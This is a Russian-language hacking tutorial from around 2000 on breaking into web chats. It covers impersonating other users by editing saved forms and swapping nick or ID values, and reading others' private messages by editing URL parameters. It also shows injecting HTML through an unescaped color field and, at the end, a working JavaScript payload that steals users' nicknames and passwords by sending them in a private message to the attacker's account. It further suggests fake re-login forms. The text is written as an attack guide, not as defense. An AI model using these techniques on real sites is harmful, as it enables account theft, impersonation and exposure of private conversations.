Как ломать чаты  

Первое что вам необходимо сделать при входе в чат, это просмотреть исходник странички логинения. Именно эта страничка может сказать о многом.

Есть два варианта логинения, которые используются повсеместно.

Вы вводите ваш ник и… все
Вы регистрируетесь, и после этого входите в чат.
Первый вариант в большинстве своем применяется на неблагополучных чатах. Неблагополучных с точки зрения администрирования. Вы можете взяв чужой ник, который в подобном случае будет идентификатором пользователя, говорить вместо или вместе с другим пользователем.

Что для этого надо. Войдя в чат, просмотрите исходник фрейма отправки сообщения. Это фрейм в котором вам предлагается ввести текст для отправки. Сохраните его в какой-нибудь директории. Сам исходник не закрывайте. Найдите тег открытия формы <form, здесь же будет поле action=”…, это первый шаг. В поле action чаще всего хранится относительная ссылка на CGI или DLL чата. Вам необходимо прописать полный путь в чату. Для этого скопируйте путь из браузера в диалоговой строке “адрес”. Добавьте его впереди. Примерно это выглядит так:

Строка в браузере: Адрес: www.divan.ru/cgi-bin/

Строка в поле action формы: action=”chat.cgi”

То что должно получиться: action=”www.divan.ru/cgi-bin/chat.cgi”

В поле action может быть и строка типа chat.cgi?nik=neo. Первое что вы должны проверить это не лежит ли в этой строке ваш ник. Если да… поставьте вместо своего ника чужой и вперед! Кстати не забудьте сохранить формочку, а также это не избавляет вас от необходимости прописать полный путь. Сохранив формочку в отредактированном виде откройте ее в новом браузере. Она может ругаться. Это случается когда формочка общается с другими фреймами, но это не проблема. Просто жмите “отмена”. После того как вы проделали все выше перечисленные действия вы можете написать в диалоговой строке текст и отправить его. Вы скажите за другого юзера.

Если ник вы не нашли в поле action не огорчайтесь, где-то он точно лежит. Просмотрите все скрытые поля <input type="hidden", и внимательно смотрите поле value=”… если вы нашли здесь ваш ник считайте вы уже он!:) Просто правьте ник и проделайте все последующие операции описанные выше. Для удобства работы вы можете исправит тип поля и сделать его видимым. Для этого вместо hidden напишите text.

Другой вариант. Вы не нашли вашего ника не а action ни в скрытых полях. Это плохо. Посмотрите нет ли в этих полях кокго-нибудь странного набора цифр и букв? Если есть… мы плохо подумали о админе.:( Он оказался хитрее. Но отчаиваться еще рано! Просмотрите исходник фрейма самого чата. Посмотрите нет ли там похожих комбинаций. Если есть, значит вы опять на коне. Возьмите идентификатор другого пользователя и впишите вместо своего.

Продолжение следует....



26 июня 2000г.

И так, продолжаем…

Как говорить от имени другого пользователя мы разобрались. Теперь перейдем к приватам. Опыт который мы приобрели в предыдущей главе нам понадобится.

Практически во всех чатах, за исключением не html чатов, есть как минимум два фрейма. Один отвечает за отсылку данных в чат, другой за отображение диалога. В данном случае нас интересует последний. Просмотрите исходник этого фрейма. Обычно в теге meta стоит запись типа:

<META HTTP-EQUIV="refresh" content="8; URL=?”>

Где ? это токи передаваемые в CGI или DLL. Именно они нас и интересуют. Откройте новый браузер, скопируйте строку обозначинную как URL, т.е. ? в строку адреса. Допишите полный адрес, если в URL находился относительный адрес. В токах обязательно, если конечно существует приват, есль идентификатор пользователя в виде user-pass, либо ID, либо просто user. Для того чтобы просмотреть приват другого пользователя вам необходимо заменить значения этих полей на необходимые значения. Нажмите ENTER и любуйтесь…

“А если есть регистрация, и идентификатор не показывается?” – спросите вы.

Ну тогда, вам в плотную нужно подойти к проблеме поиска дыр. Описание которых вы можете найти на страничке “Дырки в чатах”. О подробностях я расскажу позже…

Продолжение следует…

28 июня 2000г.

Этот раздел, я думаю, интересует всех. В общем то что мы рассматривали выше, всего лишь прелюдия к этой главе, начальные сведения если хотите.

Для сознательного восприятия этой главы вам необходимо иметь представление о HTML, и так как не один уважающей себя чат не откажется от парочки скриптов, J-Script. Это необходимый минимум. Кстати, если вы писали на C или хотя бы знакомы с ним, вам не составит труда освоить и J.

Основными способами передачи данных от клиента к серверу, для HTML, являются формы, которые можно располагать в тексте HTML. Пример такой страницы вы можете увидеть ниже:

1. <html>
2. <head>
3. <title>
4. </title>
5. </head>
6. <body background="http://www.mafia.spb.ru/back.gif" bgcolor="#000000" text="#3E8695" onLoad="if(parent.ok) document.forms[0].reset();">
7. <form NAME="form1" method=POST action="chatroom">
8. <input type=hidden name=realname size=22 value="ник">
9. <input type=hidden name=pwd value="пароль">
10. Сообщение для (ткни в Nickname собеседника):
11. <input type=text name=to size=22 value="BCEM">
12. <table border=0>
13. <tr><td>
14. Сообщение:
15. </td><td>
16. <textarea name=comments COLS=40 ROWS=3></textarea>
17. <input type=hidden name=color value="white">
18. </td><td>
19. ПРИВАТНОЕ<br><input type="checkbox" name="PRIVAT" value="ON">
20. <br><input type=submit VALUE="Enter">
21. </td></tr>
22. </table>
23. </form>
24. </body>
25. </html>

Эта формочка отправки сообщений, которую я позаимствовал из www.chatroom.ru. Между прочем, мне понравился способ которым они прикрыли возможность отправлять сообщения из переработанных формочек.(Если вы хотите узнать об этом подробнее обратитесь к странице “Хитрости админов”)

Что можно о ней сказать? Достаточно много…

Идентификация пользователя осуществляется по нику и паролю. Это видно из строк 8 и 9.
Как следствие из пункта 1, не создает куки файлов для идентификации.
Существует приват, как не странно это тоже важный фактор. В этом вы убедитесь далее.
Цвета передаются в текстовом виде! Строка 18.
Как я и говорил, используется скрипт, но не используются аплеты.
Используется относительная ссылка на сайт.
Я взял эту формочку, потому что она наиболее наглядно демонстрирует способ общения клиента с сервером. И далее ситуация описывается гипотетически!

Вам необходимо сначала определить прямую ссылку, т.е. в строке 7, chatroom заменить на прямую ссылку. Следующим шагом, при редактировании любой формочки, является отчистка ее от не нужных связей. Здесь главное не переусердствовать, и удалять связи с умом. Во многих случаях формочки берут данные из других фреймов, коих у вас нет. В некоторых случаях вам придется проэмулировать работу чата. Т.е. вам придется сохранить все фреймы, инициализировать переменные в ручную. И только после этого вы добьетесь желаемого результата.

Здесь всего этого не надо. Мы видим только один скрипт, который проверяет значение переменной Ok, окна браузера top. В данном случае это переменная которая заведена самим чатом. Для нас она не играет роли. Она будет только создавать ошибку при загрузки формы.

Скрытые поля, для удобства сделаем видимыми. Для этого необходимо в строках 8,9,17 поменять hedden на text. Рекомендую подписать поля сразу. Сохраните формочку.

Теперь откройте формочку в новом браузере. Все скрытые поля, если вы проделали операции описанные выше правильно, должны быть видимыми. Зайдите в чат под своим паролем и ником. Заполните те же поля в формочке. Эти поля нас не интересуют, т.к. даже если там и не трассятся теги, увидите только вы. Остается два поля color и comments. Поле comments было и до этого открыто, через него вы общались. Вряд ли разработчики были на столько остолопами…. Хотя и такие экземпляры встречаются! Осталось поле Color. Оно нас и интересует. Для начала вставим туда тег. Не забывайте что есть два варианта присваивания значений в HTML, значение ограничено кавычками, и значение не ограничено. В первом случае вам необходимо закрыть кавычки, закрыть тег. Во втором случае закрыть только тег. Напишем “><big>, и отправим.

В окне чата посмотрим что получилось. Если при отправке вам браузер сообщил что он не смог установить связь с сервером, или вы увидели что ресурс не доступен, это значит что вы не правильно указали прямую ссылку на сайт, или cgi. Если вы увидели что написанный вами текст выделен размером.. значит удача. Проверьте не трассятся ли равно. Бывает что это единственное что могут противопоставить админы:) “ size=40> Отошлите сообщение. Кстати! Перед тем как отправлять новое сообщение, вам необходимо нажать кнопку назад на вашем браузере, либо перегрузить страницу. После отправки сообщения на сервер формочка перегрузится, это вы заметите сами.

Если и это комбинация работает!.. Он ваш! Возможно что трасятся теги. Тогда попробуйте комбинацию типа “ style=”font-size:30px”. Это на крайней случай… Хотя скрипты вы вставлять не сможете, но картинки и размер шрифтов, законно!

В последствии я опишу как достать чужие пароли и ники, при условии что можно вставить скрипт.

Продолжение следует…

3 июля 2000г.

Итак, мы расковыряли дырку, и теперь можем вставлять теги. Но это через некоторое время надоедает. И начинаешь придумывать новые извраты. Для начала можно просто по прикалываться со скриптами. Тряска экрана, автоматический вход на другие страницы, окна регистрации и .т.п. Но и это не придел!

Если идентификация пользователя ведется по паролю и нику… Точнее если пароль хранится у пользователя, а он может хранится в скрытых полях, в ссылках и куки файлах. То естественно его можно достать. Правда с куки файлами у вас врятли получится. Для этого нужно создать собственный web-server, и перенаправить вывод данных из формочки отправки на него. Это можно сделать только подменив ссылку в поле action формочки отправки.

Более экстравагантный метод, “игра на дурку”. Вы генерите формочку регистрации и в ней сообщаете что, типа –"Вам нужно ввести ник и пароль вновь! “

Но самый надежный и незаметный способ – вытаскивание информации с помощью скриптов.

1. <iframe name=”frm”></iframe>
2. <script>
3. if (top.document.caption!=”SHAMAN”){
4. if (parent.frames[1].forms[0]){
5. var str=’www.?????.ru/cgi-bin/chat.cgi?action=message?nik=’;
6. str=str+ parent.frames[1].forms[0].nik.value+’&pass’;
7. str=str+ parent.frames[1].forms[0].pass.value+’&to=SHAMAN&msg=’;
8. str=str+ parent.frames[1].forms[0].pass.value;
9. frm.document.location=str;
10. }
11. }
12. </script>

Этот скрипт выполняет следующие действия:

Строка 3: если заголовок окна не “SHAMAN”.(Единственное место где мы можем хранить информацию не боясь того что скрипт или перезагрузка страницы убьет ее.)

Строка 4: если существует формочка отправки. (Ее может и не быть. Странички могут загружаться асинхронно!)

Строка 5,6,7: формируем ссылку на тот же чат, но задаем параметры вывода сообщения в привате, пользователю под ником “SHAMAN”. Само сообщение содержит пароль пользователя.

Но как известно приват видят два пользователя, кто отправляет и кто получает. Конечно можно оставить и так, но если вы хотите чтобы пользователи не знали о вашей проделки в полях 6 и 7 замените код получения ника из формочки на статичные данные, т.е. свой ник и пароль, либо зарегайте виртуальный ник.

Внимание! В этом случае при просмотре исходника HTML ваш пароль будет виден!
  Copyright © 2001 "kruchenet"
pv2001@euro.ru

Сайт создан в системе uCoz